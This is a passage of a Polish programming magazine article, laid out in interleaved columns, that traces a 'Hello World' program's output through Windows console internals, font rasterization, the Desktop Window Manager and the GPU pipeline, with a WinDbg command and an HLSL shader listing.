na przykład, kiedy wiersz poleceń cmd.exe uruchamia inny tekstowy wania tekstu przy użyciu tzw. ANSI Escape Codes (nazywanych przez
program (jak choćby python.exe) – oba mają wtedy dostęp do wspól- Microsoft Virtual Terminal Sequences). Według oficjalnych źródeł [8]
nego interfejsu tekstowego. w 2014 r. Microsoft powołał specjalny zespół mający na celu poprawę
Przez długie lata wygląd i działanie konsoli w Windowsie nie jakości kodu konsoli i rozszerzenie ich możliwości przy jednoczesnym
zmieniały się – aż do czasów Windowsa 8.1 (włącznie) dostępne zachowaniu kompatybilności wstecznej. Jednym z korzystnych skut-
okna oferowały tylko najprostsze opcje dostosowywania. Użytkow- ków ubocznych tej inicjatywy (z perspektywy badacza) było otwarcie
nik mógł m.in. zmieniać rozmiar okna, wybrać jeden z kilku predefi- znacznej części kodu źródłowego nowego terminala Windows Termi-
niowanych krojów i rozmiarów czcionki czy ustawić kolor tekstu i tła nal, a także programu pomocniczego conhost, w serwisie GitHub [9].
na jeden z 16 kolorów. Jedną z bardziej uciążliwych dolegliwości był Oba te komponenty zaimplementowane są w całości w C++. Dzięki
brak możliwości kopiowania ciągłego tekstu rozbitego na dwie lub temu możemy dowiedzieć się bardzo wiele o działaniu konsol u źró-
więcej linii – konsola pozwalała wyłącznie na zaznaczanie prostokąt- dła, bez konieczności odwoływania się do inżynierii wstecznej.
nych obszarów terminala. Archaiczna była również implementacja W tym momencie warto doprecyzować jeszcze jeden szczegół
na poziomie systemu. Za obsługę i rysowanie okien odpowiedzialny techniczny. Kod odpowiadający za wyświetlanie konsoli zawiera dwa
był proces systemowy csrss.exe, komunikujący się ze wszystkimi in- silniki renderowania: jeden oparty na tradycyjnym interfejsie gra-
nymi aplikacjami za pośrednictwem tzw. portów LPC. Nie dość, że ficznym GDI oraz drugi – nowszy – oparty o DirectX. Ten ostatni
skutkowało to oknami konsoli brzydszymi niż okna zwykłych aplika- wspiera nowoczesne rozszerzenia czcionek, takie jak fonty zmien-
cji (np. w Windowsie XP ramki konsoli nie podlegały stylowaniu [6]), ne (ang. variable fonts, czyli fonty, w których z dowolną dokładno-
to jeszcze często prowadziło do różnorakich błędów bezpieczeństwa. ścią można kontrolować pewne parametry, jak grubość znaków)
Pierwsza zmiana w powyższej architekturze nastąpiła w Win- czy fonty kolorowe (umożliwiające np. wyświetlanie symboli emoji).
dowsie 7. W tej wersji systemu obsługa konsoli została oddelegowana Silnik DirectX jest używany przez wiersz poleceń Windows Termi-
z CSRSS do osobnego procesu o nazwie conhost.exe, działającego już nal, natomiast zwykłe konsole (włącznie z tą używaną przez cmd.exe)
tylko z uprawnieniami zwykłego użytkownika. Jedynym obowiąz- domyślnie korzystają z interfejsu GDI, o ile nie ustawi się w rejestrze
kiem CSRSS pozostało uruchomienie programu conhost.exe w chwili, nieudokumentowanej wartości HKCU\Console\UseDx typu REG_
gdy kolejna aplikacja prosiła o nowe okno konsoli. Krok ten w znacz- DWORD na 1. My jednak nie będziemy tego robić i w tym artykule
nym stopniu poprawił bezpieczeństwo i stabilność systemu. prześledzimy ścieżkę wykonania prowadzącą przez GDI.
Kolejne zmiany nastąpiły w Windows 8, gdzie wprowadzony zo- Wróćmy jednak do tematu przewodniego artykułu. Funk-
stał sterownik trybu jądra o nazwie condrv.sys. Od tego czasu aż do cja WriteConsoleW z biblioteki kernelbase.dll, do której trafiliśmy

<54> { 1 / 2022 < 100 > }


/ Hello World pod lupą /

Rysunek 3. Architektura konsoli w Windowsie (źródło: [7])

w Pythonie, wysyła do pseudo-pliku \Device\ConDrv\Output wiado- Na testowanym Windowsie 10 skutkuje to ustawieniem 52 punk-
mość IOCTL o kodzie IOCTL_CONDRV_ISSUE_USER_IO (czyli liczbo- tów wstrzymania, które następnie są aktywowane w momencie jakich-
wo 0x500016). Brzmi to skomplikowanie, jednak oznacza tylko tyle, kolwiek zmian w oknie konsoli. W przypadku wypisywania tekstu wy-
że prośba o wypisanie tekstu zostaje przekazana do wspomnianego konanie dociera do funkcji ApiDispatchers::ServerWriteConsole,
wcześniej sterownika condrv.sys. Ten natomiast przekazuje tę infor- czyli odpowiednika funkcji WriteConsole wywołanej po stronie Py-
mację dalej do procesu conhost.exe, który, w zależności od operacji, thona. Dalej procesor podąża kolejnymi wywołaniami:
decyduje, co zrobić z nią dalej. Od tego momentu możemy podążać » ApiRoutines::WriteConsoleWImpl
już za otwartym kodem źródłowym. » WriteConsoleWImplHelper
Główna funkcja odbierająca rozkazy w conhost.exe to Conso- » DoWriteConsole
leIoThread (zaimplementowana w terminal/src/host/srvinit.cpp). Po » WriteChars
otrzymaniu nowej wiadomości wykonywanie przechodzi przez kolej- » WriteCharsLegacy
ne metody:
» IoSorter::ServiceIoOperation W tej ostatniej funkcji wykonywana jest lwia część pracy zapisa-
» IoDispatchers::ConsoleDispatchRequest nia tekstu do bufora wyjściowego (posiłkując się dalszymi klasami:
» ApiSorter::ConsoleDispatchRequest SCREEN_INFORMATION, TextBuffer i ROW). Warto zaznaczyć, że na
tym etapie nie dochodzi jeszcze do rysowania znaków w oknie – tym
Następnie trafiamy do jednej z funkcji z przestrzeni nazw ApiDis- zajmuje się osobny, dedykowany wątek graficzny. I tak po zapisaniu
patchers, która obsługuje dany typ operacji. Gdybyśmy chcieli na danych do bufora wyjściowego zostają one odczytane i wyświetlone
żywo prześledzić, jakie dokładnie niskopoziomowe operacje są wy- np. pod następującym stosem wywołań, podczas rysowania nowej
konywane na danej konsoli, to wystarczy, że podepniemy się pod klatki okna:
conhost debuggerem WinDbg, załadujemy symbole dla bibliotek
#0 Microsoft::Console::Render::GdiEngine::_FlushBufferLines
systemowych z serwera Microsoftu, a następnie ustawimy breakpo- #1 Microsoft::Console::Render::GdiEngine::UpdateDrawingBrushes
inty na wszystkie funkcje z przestrzeni ApiDispatchers przy użyciu #2 Microsoft::Console::Render::Renderer::_UpdateDrawingBrushes
#3 Microsoft::Console::Render::Renderer::_PaintBufferOutput
następującej komendy: #4 Microsoft::Console::Render::Renderer::_PaintFrameForEngine
#5 Microsoft::Console::Render::Renderer::PaintFrame
bm conhost!ApiDispatchers::* #6 Microsoft::Console::Render::RenderThread::_ThreadProc

{ WWW.PROGRAMISTAMAG.PL } <55>
PROGRAMOWANIE SYSTEMOWE

Obecnie w systemie Windows 10 konkretną funkcją GDI używaną ło do zbyt wielu przełączeń kontekstu (ang. context switch), dzięki
przez conhost do wyświetlenia tekstu jest PolyTextOutW, choć w repo- czemu m.in. pamięć podręczna CPU była efektywnie wykorzysty-
zytorium Microsoftu na GitHubie możemy znaleźć informację, że wy- wana, a procesor płynnie przechodził pomiędzy kolejnymi etapami
wołanie to zostało zmienione na ExtTextOutW w połowie 2021 r. [10]. tłumaczenia znaków na kształty geometryczne, następnie na pik-
To właśnie te funkcje odpowiadają za przekształcenie znaków zakodo- sele, i wyświetlania ich na ekranie. To z kolei skutkowało szybkim
wanych w UTF-16 na kształty liter, które potem widzimy na ekranie. i responsywnym interfejsem graficznym. Z drugiej jednak strony
każdy potencjalny błąd w tym kodzie narażał użytkownika na całko-

RASTERYZACJA TEKSTU wite przejęcie kontroli nad systemem, jeśli w jakiś sposób doszło do
otwarcia specjalnie spreparowanej czcionki (np. osadzonej w doku-
Jak powszechnie wiadomo, fonty to pliki zawierające graficzną re- mencie, stronie internetowej itp.). I faktycznie, przez lata Microsoft
prezentację znaków, które pozwalają na wyświetlanie i drukowanie naprawił dziesiątki podatności znalezionych w silniku fontów przez
tekstu o różnych krojach, rozmiarach i innych cechach. We wcze- badaczy z całego świata, a temat ten był poruszany na wielu konfe-
snych latach istnienia komputerów były one zapisywane w formacie rencjach poświęconych bezpieczeństwu komputerowemu.
bitmapowym – tzn. dla każdej pary glifu i jego wielkości przypisany Podobnie jak w przypadku konsol, znaczna poprawa w powyższej
był dwukolorowy obrazek reprezentujący jego wygląd. Rozwiązanie architekturze nastąpiła wraz z nadejściem Windowsa 10. W tej wersji
takie miało jednak wiele oczywistych wad, w związku z czym niewie- systemu kod odpowiedzialny za obsługę fontów został przeniesiony ze
le później zostały one wyparte przez fonty wektorowe, które opisują sterowników win32k.sys i atmfd.dll do pomocniczego programu trybu
kształty przy użyciu krzywych. Pierwszym formatem tego typu były użytkownika o nazwie fontdrvhost.exe, działającego z minimalnymi
zaprojektowane przez Adobe w 1984 r. fonty Type 1 (blisko związane uprawnieniami w tzw. piaskownicy (ang. sandbox). Dzięki tej zmianie,
z językiem PostScript), a w latach 90. dołączyły do tego grona m.in. nawet jeśli w obsłudze któregoś z formatów czcionek znajdzie się ko-
formaty TrueType (autorstwa Apple) i OpenType (opracowane przez lejny błąd prowadzący do wykonania dowolnego kodu, wciąż jest dłu-
Microsoft i Adobe). Te dwa ostatnie przyjęły się jako obowiązujące ga droga do przejęcia pełnej kontroli nad komputerem użytkownika.
i są szeroko stosowane do dziś. Ponadto mniej poważne błędy skutkujące nieobsłużonym wyjątkiem
Wraz z rozwojem cyfrowej typografii i formatów wektorowych nie zawieszają już całego systemu, tylko prowadzą do tymczasowego
zwiększał się (i wciąż zwiększa) stopień skomplikowania fontów i co wyłączenia pomocniczego procesu, który po chwili jest restartowany.
za tym idzie kodu, który je obsługuje. Z oficjalnej specyfikacji Open- Warto przy tym nadmienić, że sterownik win32k.sys (który w Win-
Type [11] dowiadujemy się, że istnieje ok. 50 rodzajów tabel SFNT dows 10 został rozbity jeszcze na dwa kolejne moduły: win32kbase.sys
(czyli mniejszych „bloczków”, z których zbudowane są fonty), z cze- i win32kfull.sys) wciąż odpowiada za interfejs graficzny Windowsa,
go osiem jest wymienionych jako obowiązkowe. Każda z nich repre- a wycięty został jedynie kod ściśle związany z fontami. Z kolei sterow-
zentuje inny rodzaj danych (zarówno binarnie, jak i koncepcyjnie), nik atmfd.dll całkowicie stracił rację bytu, więc w ogóle nie znajdzie-
a równocześnie wiele z nich wzajemnie na siebie oddziałuje. Jeśli my go już na dysku w najnowszych wersjach systemu.
dodamy do tego fakt, że zarówno fonty TrueType, jak i OpenType za- Jeśli chcielibyśmy lepiej zrozumieć sposób działania procesu
wierają w sobie mini-programy opisujące kształty i sposób rysowania pomocniczego fontdrvhost.exe, musielibyśmy przeanalizować ten
poszczególnych znaków (z własnym stosem, operatorami arytme- właśnie plik wykonywalny. Niestety w przeciwieństwie do konsol
tycznymi, warunkowymi itd.), to rysuje nam się obraz plików, które kod źródłowy tej części systemu operacyjnego nie został publicznie
bardzo trudno jest obsłużyć w sposób poprawny i bezpieczny. Jedno- udostępniony, w związku z czym pozostaje nam tylko zakasać ręka-
cześnie większość dzisiejszych silników operujących na czcionkach wy i uruchomić disassembler. Pewnym pocieszeniem mogą być tutaj
ma swoje korzenie w kodzie z lat 90., a więc są napisane w C i C++ symbole debugowania (pliki .pdb) udostępniane przez Microsoft dla
(językach znanych z notorycznych przepełnień bufora i podobnych bibliotek systemowych za pośrednictwem oficjalnego serwera [12],
błędów) i według standardów obowiązujących w tamtych czasach. dzięki którym możemy przynajmniej poznać nazwy poszczególnych
Pomimo potencjalnych niebezpieczeństw związanych z opero- funkcji. I tak po krótkiej analizie funkcji main możemy dowiedzieć
waniem na fontach Windowsy w wersji do 8.1 włącznie obsługiwały się, że wątek komunikujący się z jądrem działa w funkcji o nazwie
je z poziomu jądra, czyli najbardziej uprzywilejowanego trybu działania ServerRequestLoop, która odbiera informacje o kolejnych opera-
systemu operacyjnego. Konkretnie, w zależności od formatu, za daną cjach do wykonania i zwraca ich rezultat przez wywołanie systemowe
czcionkę odpowiedzialny był jeden z dwóch sterowników systemowych: NtGdiExtEscape. Następnie wywoływana jest funkcja DispatchRe-
» win32k.sys, czyli główny sterownik graficzny Windows, imple- quest, która przekazuje wykonanie do kolejnych funkcji, w zależ-
mentujący obsługę prostych fontów bitmapowych i wektoro- ności od konkretnego żądania i formatu czcionki, którego dotyczy.
wych (rozszerzenia .fon i .fnt) oraz formatu TrueType (rozsze- Szczegółowa analiza toku wykonania fondrvhost.exe wykracza poza
rzenia .ttf i .ttc). zakres tego artykułu, ale zachęcamy zainteresowanych czytelników
» atmfd.sys, którego nazwa rozwija się do Adobe Type Manager do dalszego zagłębienia się w ten temat.
Font Driver, implementujący obsługę formatów Type 1 (rozsze- Zróbmy jednak krok w tył i przeanalizujmy proces wyświetlania
rzenia .pfb, .pfm i .mmm) i OpenType (rozszerzenia .otf i .otc). napisu „Hello World” na wyższym poziomie abstrakcji. W domyśl-
nej konfiguracji systemu Windows wiersz poleceń używa czcion-
Jednym z niewątpliwych plusów takiego rozwiązania była jego wy- ki Consolas, której odpowiada plik C:\Windows\Fonts\consola.ttf;
dajność – podczas rasteryzacji i wyświetlania tekstu nie dochodzi- a więc mamy do czynienia z formatem TrueType. Pierwszą operacją,

<56> { 1 / 2022 < 100 > }


/ Hello World pod lupą /

którą wykonuje interfejs GDI po wywołaniu funkcji PolyTextOutW, ting odbywa się w tym samym czasie, podczas wykonywania przez
jest tzw. kształtowanie tekstu (ang. text shaping). Ponieważ jednak interpreter silnika fontów mini-programów o nazwie „CharStrings”.
mamy tutaj do czynienia z alfabetem łacińskim oraz czcionką o sta-
łej szerokości, to etap ten sprowadza się głównie do przetłumaczenia
punktów kodowych (ang. code points) każdego ze znaków na od-
powiadający mu identyfikator glifu (kształtu zapisanego w foncie).
Z oczywistych powodów nie mają tutaj zastosowania np. kerning (re-
gulowanie odległości między konkretnymi parami znaków), ligatury
(łączenie dwóch lub więcej liter w jedną) czy inne bardziej zaawanso-
wane transformacje.
Następnie, na podstawie tabeli glyf, dla każdego glifu w tekście
rysowany jest jego kontur. Kształty geometryczne w TrueType są re-
prezentowane przez zbiór punktów na płaszczyźnie, pomiędzy który-
mi prowadzone są linie proste oraz krzywe Béziera drugiego stopnia.
Te ostatnie są zdefiniowane przez trzy punkty: dwa znajdujące się na
końcach krzywej, a także tzw. punkt kontrolny określający jej kształt. Rysunek 5. Przykład litery M w postaci bitmapy bez i z włączonym hintowaniem (źródło: [14])
W uproszczeniu przypomina to popularną grę dla dzieci w łączenie
kropek na kartce papieru w celu otrzymania określonego rysunku, Co istotne, programy hintujące nie są uruchamiane w każdej klatce,
z tym że komputer robi to w sposób powtarzalny i z wysoką precyzją. w której wyświetlana jest dana litera. Bardzo ważną rolę w imple-
Na Rysunku 4 przedstawiono przykładowy kontur litery „B” opisany mentacji obsługi fontów pełni mechanizm cachingu, który zapisuje
w formacie TrueType, gdzie wypełnione punkty to te znajdujące się na w pamięci raz wygenerowaną bitmapę dla znaku o danej wielkości
krzywej, a pomocnicze punkty kontrolne zostały oznaczone jako puste. i używa jej w przyszłości bez powtarzania wszystkich obliczeń.
Skąd jednak bierze się ta bitmapa? Tutaj dochodzimy do ostat-
niej części całego procesu, czyli faktycznej konwersji konturu znaku
na obraz rastrowy (ang. scan conversion). Przy okazji zapalania ko-
lejnych pikseli na biały i czarny (lub inny) kolor system, w zależno-
ści od ustawień, może zastosować dodatkowe kroki, aby sprawić, by
tekst wyglądał lepiej na ekranie komputera. Jedną z takich metod
jest wygładzanie krawędzi (ang. antialiasing), które może operować
nie tylko na odcieniach szarości, ale wręcz na całej palecie kolorów,
wykorzystując ułożenie subpikseli RGB składających się na każdy
piksel na matrycy monitora (tzw. subpixel rendering). Kiedy przyj-
rzymy się bliżej poszczególnym pikselom w naszym napisie, prawdo-
podobnie okaże się, że prawie żaden z nich nie jest faktycznie szary
(Rysunek 6), choć właśnie ten kolor jest rejestrowany przez ludzkie
oko w oryginalnej rozdzielczości.
Rysunek 4. Kształt litery B zapisanej w formacie TrueType (źródło: [13])

Kolejnym ważnym etapem rasteryzacji jest tzw. hinting. Jego potrze-


ba bierze się stąd, że odwzorowanie kształtu danej litery na ograni-
czonej liczbie pikseli – co ma miejsce szczególnie przy małych roz- Rysunek 6. Wygładzanie krawędzi przez technologię Microsoft ClearType

miarach tekstu – jest trudna do osiągnięcia w sposób automatyczny.


Nawet jeśli dane odwzorowanie jest wierne z matematycznego punk- Kiedy „drukowane” przez nasz prosty program znaki przybierają już
tu widzenia, to w praktyce może być niesymetryczne, w inny sposób formę nie wektorową, a bitmapową, ich dalszym losem zajmuje się
nieprzyjemne dla oka, lub całkowicie nieczytelne. Z tego też powodu układ graficzny, czyli GPU – czy to umieszczony na karcie graficznej,
wszystkie wiodące formaty fontów wektorowych mają wsparcie dla czy też zintegrowany z procesorem. O ile istnieje tryb tekstowy, to
hintowania, czyli zaprogramowania w czcionce pewnych podpo- jednak współczesne wersje systemu Windows nie mogą w nim nor-
wiedzi co do tego, jak dany znak należy narysować w określonych malnie działać, a zawsze wyświetlają środowisko graficzne. Konsola
rozmiarach. Obejmuje to informacje takie jak to, jak optymalnie do- tekstowa, w ramach której wykonuje się nasz program, ma więc po-
pasować kontur do siatki pikseli, albo to, które elementy litery są nie- stać jednego z okien wyświetlanych na wirtualnym pulpicie.
ważne i mogą zostać pominięte w niskiej rozdzielczości, a które wręcz
przeciwnie – muszą się znaleźć w wynikowym obrazie. Przykład tego,
ZARZĄDZANIE OKNAMI
jak mocno hinting może wpłynąć na efekt końcowy rasteryzacji, po-
kazano na Rysunku 5. Jako ciekawostkę warto wspomnieć, że w for- Zarządzaniem oknami zajmuje się część systemu o nazwie Desktop
matach Type 1 i OpenType zarówno rysowanie konturów, jak i hin- Window Manager (DWM). Aplikację dwm.exe możemy znaleźć na

{ WWW.PROGRAMISTAMAG.PL } <57>
PROGRAMOWANIE SYSTEMOWE

liście uruchomionych procesów. Jej zabicie powoduje zniknięcie ca- nym zastosowaniu, opłacalne okazało się renderowanie każdego
łego obrazu na monitorze, który jednak po chwili wraca, ponieważ z nich ich jako prostokąta złożonego z dwóch trójkątów, na którego
system uruchamia DWM ponownie. To on wyświetla pulpit, pasek powierzchnię obraz przedstawiający treść okna zostaje nałożony jako
zadań i okna poszczególnych aplikacji – czy to będzie konsola teksto- tekstura, niczym tapeta przyklejona na ścianie – Rysunek 7. W pew-
wa (jak w naszym przypadku), przeglądarka internetowa, odtwarzany nym sensie więc, z punktu widzenia karty graficznej, praca z poważ-
film czy też jakaś gra. Pozwala też oknom zachodzić na siebie – tym nymi aplikacjami biurowymi nie różni się wiele od grania w gry :).
z przodu zasłaniać te z tyłu. Proces porządkowania tego wszystkiego,
aby wyświetlić finalny obraz na monitorze, nazywany jest kompono-
waniem (ang. compositing).
Do wydajnego zrealizowania tego zadania wykorzystywana jest
akceleracja – przyspieszenie sprzętowe oferowane przez układ gra-
ficzny. Oznacza ono wykonywanie konkretnego zadania (w naszym
przypadku – wyświetlania grafiki) szybciej dzięki specjalizowanym
układom sprzętowym, w porównaniu z realizowaniem tej samej
logiki w pełni programowo, czyli przez procesor główny. Ponieważ
jednak na rynku istnieje niejeden producent układów graficznych,
a każdy z nich stosuje w swoim sprzęcie inne rozwiązania, do za-
pewnienia kompatybilności potrzebny jest zainstalowany w systemie
sterownik graficzny odpowiedni do danej karty czy układu graficz-
Rysunek 7. Okno jako siatka trójkątów
nego. Bez niego system nadal potrafi wyświetlać pulpit, ale robi to
z użyciem Microsoft Basic Display Adapter – uproszczonej imple-
mentacji. W niej całe renderowanie (generowanie) grafiki, łącznie ze
GPU
żmudnym kopiowaniem z miejsca na miejsce bajtów reprezentują-
cych poszczególne piksele, odbywa się po stronie CPU, a więc działa Układ graficzny, jako koprocesor, działa równolegle z procesorem
bardzo wolno. głównym komputera. Programista implementujący wyświetlanie
Pewne formy sprzętowego przyspieszania wyświetlania grafiki grafiki ma za zadanie wypełnić bufor komendami do wykonania
istniały w komputerach od zamierzchłych czasów. Dawniej była to przez GPU (nic dziwnego, że ten nosi nazwę… command buffer),
wyłącznie grafika dwuwymiarowa (2D). Wspierane operacje pole- a następnie podać go do wykonania. Procesor może zaraz potem za-
gały więc głównie na kopiowaniu prostokątnych fragmentów obrazu jąć się innymi obliczeniami, podczas gdy układ graficzny wykonuje
w pamięci, co w świecie gier znane jest jako „duszki” (ang. sprites). te komendy w swoim tempie. W ten sposób działają też gry. Podczas
W ten sposób można wydajnie renderować grafikę takich gier jak kiedy karta graficzna mozolnie odrysowuje wszystkie trójwymiarowe
platformówki typu „Mario”. obiekty i postacie, by na końcu wyświetlić je na monitorze jako na-
Współcześnie jednak większość gier używa grafiki trójwymia- stępna klatka N, CPU już wykonuje obliczenia na świecie gry (symu-
rowej (3D), a układy graficzne taką grafikę potrafią wydajnie gene- lacja fizyki, sztuczna inteligencja przeciwników, odtwarzanie dźwię-
rować. Od czasu, kiedy u szczytu popularności były pierwsze trój- ku itd.) dla klatki N+1.
wymiarowe strzelanki typu „Doom” i „Quake”, przyjął się schemat Zachowanie to można zaobserwować na przykład z użyciem dar-
komponowania grafiki 3D z trójkątów. Tak opisana grafika jest wy- mowego narzędzia Microsoftu: GPUView. Program ten daje wgląd
świetlana przez obecnie pojawiające się na rynku gry, które do wyda- w bardzo niskopoziomowe działanie CPU i GPU. Z jego użyciem
wania poleceń karcie graficznej używają jednego z tzw. API graficz- możemy „nagrać”, co dzieje się w systemie w ciągu określonego
nych: OpenGL, Direct3D lub Vulkan. czasu, a następnie zobaczyć aktywność GPU, jak i poszczególnych
Dlaczego w ogóle mówimy o grach, skoro naszym przedmiotem wątków CPU. Przedstawione tam informacje mogą być trudne do
zainteresowania jest tutaj prosty program „Hello World”? Nawet jeśli zinterpretowania, ale wszystkim zainteresowanym tym, co się dzie-
duża grupa użytkowników komputera nie gra w gry, a jedynie uży- je w komputerze blisko sprzętu, polecamy nauczyć się przynajmniej
wa swojego sprzętu do przeglądania Internetu lub zastosowań biuro- podstawowego rozumienia tego typu diagramów. Podobne występują
wych, to jednak od dawna gry wideo wyznaczają kierunek i narzucają bowiem także w innych narzędziach.
tempo rozwojowi układów graficznych. Do wyświetlania pulpitu nie Na Rysunku 8 widzimy kontekst Direct3D wykonujący bu-
potrzeba wielu TFLOPS-ów mocy obliczeniowej ani 300 W energii, fory komend [15]. Oś pozioma to czas biegnący w prawo. W górę
jaką pobierają najszybsze karty graficzne. Wystarczy produkt z niż- natomiast piętrzą się kolejne bufory zakolejkowane do wykonania.
szej półki. Wszystkie one jednak działają na tej samej zasadzie. Róż- W każdym momencie „bloczek” znajdujący się na samym dole to ten,
nią się jedynie ilością pamięci, liczbą rdzeni do wykonywania shade- który jest aktualnie wykonywany. Wszystkie nad nim natomiast to
rów i innymi parametrami decydującymi o ich wydajności w grach. polecenia znajdujące się dalej w kolejce, oczekujące na swoją kolej.
Pewnym zaskoczeniem może być wiadomość, że menadżer okien W samym GPU z kolei wykonywanie komend odbywa się
w nowych wersjach Windowsa używa grafiki 3D także do rysowania w sposób potokowy, co oznacza, że każda komenda przechodzi przez
pulpitu! Choć okna są ze swej natury płaskie, to jednak przy ogrom- kolejne etapy tzw. potoku graficznego zanim końcowe piksele trafią na
nej mocy obliczeniowej, jaką oferują karty graficzne w tym konkret- ekran. Uproszczony schemat potoku przedstawiono na Rysunku 9.

<58> { 1 / 2022 < 100 > }


/ Hello World pod lupą /

Rysunek 8. Zrzut ekranu z programu GPUView

Listing 3. Przykładowy, prosty pixel shader napisany w języku HLSL

Texture2D texture0 : register(t0);


SamplerState sampler0 : register(s0);

struct VERTEX
{
float4 position: SV_POSITION;
float2 textureCoordinate : TEXCOORD0;
float4 color: COLOR0;
};

float4 pixelShaderMain(VERTEX v) : SV_TARGET


{
return
texture0.Sample(sampler0, v.textureCoordinate) *
v.color;
}

Poniżej krótkie omówienie etapów potoku graficznego:


Input Assembler to jednostka, która pobiera pozycje i inne para-
metry wierzchołków, czyli punktów w przestrzeni 3D. Ich źródłem
Rysunek 9. Schemat potoku graficznego jest bufor wierzchołków (ang. vertex buffer) oraz opcjonalny bufor in-
deksów (ang. index buffer), który zawiera indeksy tych wierzchołków.
Etapy oznaczone na zielono są jedynie konfigurowalne, to znaczy Vertex Shader to pierwszy z etapów programowalnych. Możemy,
wykonują określoną operację, której możemy co najwyżej zmieniać a nawet musimy na tym etapie przetworzyć dane każdego wierzchoł-
parametry. Te oznaczone na czerwono są natomiast programowalne, ka, na przykład zmieniając jego pozycję, aby znalazł się w pożąda-
co znaczy, że sami musimy napisać program wykonywany na tym nym miejscu na ekranie. To dzięki tej operacji jeden obiekt, czy to
etapie. Takie programy dla układów graficznych nazywamy shadera- będzie kamień albo potwór w grze, czy też okno na pulpicie, może
mi i piszemy w specjalnych językach – HLSL lub GLSL. Choć języ- się znaleźć na ekranie w wielu kopiach, a każda w innym miejscu
ki te mają składnię podobną do C czy C++, to jednak same shadery i w innym rozmiarze.
różnią się od programów wykonywanych na CPU w wielu aspektach. Teselacja oraz Geometry Shader to etapy opcjonalne, które po-
W Listingu 3 pokazano przykładowy pixel shader, który próbkuje zwalają na dodatkowe przetwarzanie całych trójkątów, np. zagęszcza-
(sampluje) teksturę, otrzymany kolor mnoży przez kolor wierzchołka nie siatki. Możemy w nich użyć kolejnych rodzajów shaderów. Dzia-
i wynik zwraca jako kolor przeznaczony do zapisania na ekran. łają jednak dosyć wolno i dlatego są rzadko używane.

{ WWW.PROGRAMISTAMAG.PL } <59>
PROGRAMOWANIE SYSTEMOWE

Rasteryzacja to operacja, w której karta graficzna wyznacza pik- lor żółty. (100%, 100%, 100%) natomiast to wszystkie 3 komponenty
sele pokrywające dany trójkąt na ekranie. Od tej pory nie mówimy ustawione na maksimum w równych proporcjach, co daje kolor biały.
już o wierzchołkach czy trójkątach, a o pojedynczych pikselach. Ze W grafice komputerowej często do kanałów RGB dodaje się
świata grafiki wektorowej przechodzimy więc do bitmapowej. czwarty kanał oznaczony jako A (alfa), który oznacza przezroczy-
Zadaniem pixel shadera jest wyliczyć kolor danego piksela. Uży- stość. Ponieważ w informatyce lubimy potęgi dwójki, to daje okrągłe
wane do tego są tzw. tekstury, czyli bitmapowe obrazy w pamięci cztery komponenty na piksel. Jeżeli każdy komponent zapiszemy za
video przedstawiające kolor danej powierzchni. W grach może to pomocą jednego bajtu o wartościach 0..255, to da nam cztery bajty
być np. zdjęcie powierzchni drewnianej czy zardzewiałego metalu. na piksel. Możemy więc obliczyć, ile pamięci zajmuje na przykład ob-
W Windowsie… obraz naszego okna lub terminala. Pixel shader raz na ekranie w rozdzielczości 4K: 3840 x 2160 x 4 bajty ≈ 31.64 MB.
próbkuje (sampluje) piksele tej tekstury w odpowiednich miejscach Co oznacza ten czwarty kanał alfa? Pozwala on na mieszanie ob-
i zwraca ich kolor. W grach może dodatkowo wykonywać obliczenia, razu z tym, co zostało narysowane w danym miejscu wcześniej, a więc
aby dodać efekty oświetlenia, cienia, mgły i inne potrzebne do uzy- ma się znajdować wizualnie pod spodem. Wartość A = 0% oznacza peł-
skania realistycznej grafiki. ną przezroczystość (ang. transparency), a więc nasz obiekt jest w tym
Jeżeli zdamy sobie sprawę, że w każdej klatce i dla każdego piksela miejscu niewidoczny. Kolor piksela nie ma wtedy znaczenia. A = 100%
na ekranie musi się co najmniej raz wykonać cały pixel shader, aby oznacza pełną nieprzezroczystość (ang. opacity), a więc całkowite za-
wyliczyć kolor tego piksela, to możemy sobie wyobrazić, jak ogrom- stąpienie starego koloru nowym. Wartości pomiędzy oznaczają pół-
na moc obliczeniowa drzemie we współczesnych kartach graficznych. przezroczystość, przy czym im wyższa alfa, tym większy wpływ na
Na przykład przy rozdzielczości 4K i 30 klatkach na sekundę mamy kolor końcowy ma kolor rysowanego aktualnie piksela. Operację tę,
248,832,000 pikseli renderowanych w każdej sekundzie. Co najmniej zwaną właśnie alfa-blendingiem, można opisać wzorem:
tyle razy musi się więc wykonać pixel shader – nie jego jedna instruk-
NowyKolor.rgb = NowyPiksel.rgb * NowyPiksel.a +
cja, a cały program! StaryKolor.rgb * (100% - NowyPiksel.a)
Wreszcie, blending to operacja zapisania końcowego koloru pik-
sela do pamięci video, aby potem mógł zostać wysłany do monitora. Jest to tzw. operacja interpolacji liniowej (ang. linear interpolation,
Jego kolor może zostać przy tym zmieszany z poprzednim, dzięki cze- w skrócie „lerp”). Użyta tutaj notacja, z odwołaniem się do wybra-
mu uzyskamy efekt półprzezroczystości – będzie o tym mowa dalej. nych komponentów po kropce, jest charakterystyczna dla języków
Traktowanie okien pulpitu jako tekstur ma jeszcze jedną zaletę: shaderów, jak HLSL czy GLSL. Języki te mają też wbudowaną funk-
system może je łatwo i szybko wyświetlać w wielu miejscach i na wie- cję, która realizuje tę operację (lerp w HLSL, mix w GLSL). (Osoby
le sposobów. Pomniejszony obraz okna pokazuje się nam choćby po obeznane z tematem grafiki komputerowej mogłoby zapewne dodać,
wciśnięciu Alt+Tab, Win+Tab bądź też po najechaniu kursorem my- że lepsze od niej byłoby zastosowanie techniki tzw. premultiplied
szy na przycisk reprezentujący uruchomiony program na pasku za- alpha, jednak to zagadnienie wykracza poza zakres tego artykułu.)
dań. Ten drugi skrót klawiszowy zwykł wyświetlać listę okien zawie-
szonych w przestrzeni 3D, jednak w nowych wersjach Windows 10
KLATKI OBRAZU
twórcy systemu powrócili do płaskiej galerii. Wszystkie te miejsca
jednak mają dostęp do obrazu okna na żywo, pokazują więc nawet Między oknami aplikacji (w tym oknem konsoli z naszym progra-
odtwarzany w danej chwili film. Możliwe jest też tworzenie w prosty mem) a grami występuje jedna duża różnica. Gry nieustannie odry-
sposób okien półprzezroczystych lub takich o nieregularnych kształ- sowują od podstaw cały swój obraz – od tła, przez postacie i przed-
tach, choć nie spotykamy ich w zbyt wielu programach. mioty, aż po efekty specjalne. Podobnie jak podczas odtwarzania
filmu, mówimy tu o „klatkach” (ang. frame). Aby gracz miał wrażenie

ALFA-BLENDING płynnej animacji, gra powinna osiągać przynajmniej 30 klatek na se-


kundę (ang. Frames Per Second – FPS). Nikt nie zadaje sobie trudu,
